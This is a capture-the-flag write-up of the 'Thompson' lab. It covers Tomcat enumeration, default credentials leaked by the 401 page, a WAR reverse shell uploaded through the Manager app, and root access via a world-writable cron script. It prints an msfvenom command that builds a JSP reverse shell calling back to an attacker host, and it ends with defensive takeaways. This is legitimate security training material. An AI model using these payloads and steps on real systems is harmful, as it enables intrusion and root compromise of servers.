Thompson

Initial Recon

First thing I did was add the ip to my hosts file.

Next I ran a network scan to begin information gathering.

nmap -sV -sC -T4 -p- <target-ip>

-sV detects service versions, -sC runs default NSE scripts, -T4 speeds up timing.

I see ports 22, 8009, and 8080 open. Port 8009 is the AJP (Apache JServ Protocol) connector -- worth noting as it is the attack surface for Ghostcat (CVE-2020-1938), which affects Tomcat before 8.5.51. Our target is 8.5.5, so it falls in range. Let's check out the webpage.

Manual Enumeration

Next I manually pry through the page. When I click on the manager app button it actually requires auth.

Luckily for us, when the unauth error pops up it actually leaks the credentials. This is default behaviour in older Tomcat versions -- the 401 error page ships with example tomcat-users.xml snippets that include plaintext credentials.

We then enter the manager portal, which looks like this.

Exploitation

First thing I noticed is a WAR file upload area -- this has to be an attack surface. I check searchsploit to see if there are any low hanging exploits associated and no luck.

No results makes sense -- the WAR upload attack is not a CVE. It is an abuse of a legitimate authenticated feature, so there is no standalone exploit for it. We take the semi-manual route with msfvenom payload generation.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker-ip> LPORT=4444 -f war -o shell.war

-p java/jsp_shell_reverse_tcp generates a JSP reverse shell that runs inside Tomcat's JVM. -f war packages it as a deployable archive ready for the Manager upload form.

File upload complete, now lets spin up our listener and hope for a callback.

#wearein

Now lets start Linux enumeration! Firstly lets stabilize this shell.

This spawns a PTY and fixes terminal settings, giving us a fully interactive shell with tab completion and job control.

Privilege Escalation

After some enumeration we find the user flag under the user jack.

Next, lets dive deeper for the root flag. The id.sh and test.txt look interesting.

We figure out that it's a cronjob that exports id results to test.txt, with root privileges that we can alter.

The key misconfiguration: id.sh is world-writable despite being executed by root's cron. Since we control the file contents, we have arbitrary code execution as root. This is confirmation of our privilege escalation vector.

I ended up altering the script so that it outputs the contents of root to test.txt. This way we can bypass gaining total root access to view the flag. Challenge completed!

---

Attack Chain

Nmap scan -> Tomcat 8.5.5 on :8080, AJP on :8009
    |
    v
Manager App -> 401 error page leaks credentials
    |
    v
msfvenom WAR payload -> deployed via Manager UI
    |
    v
Reverse shell as tomcat service account
    |
    v
Cron: id.sh is world-writable, executed as root
    |
    v
Script overwrite -> root flag exfiltrated to test.txt

Key Takeaways

• Default Tomcat 401 error pages leak credential examples in older versions -- always replace them in production
• The Manager App should never be internet-exposed; enforce IP whitelisting at the connector level
• AJP (port 8009) should be disabled if unused -- it is the Ghostcat (CVE-2020-1938) attack surface
• Always audit permissions on files invoked by privileged schedulers, not just the crontab entries themselves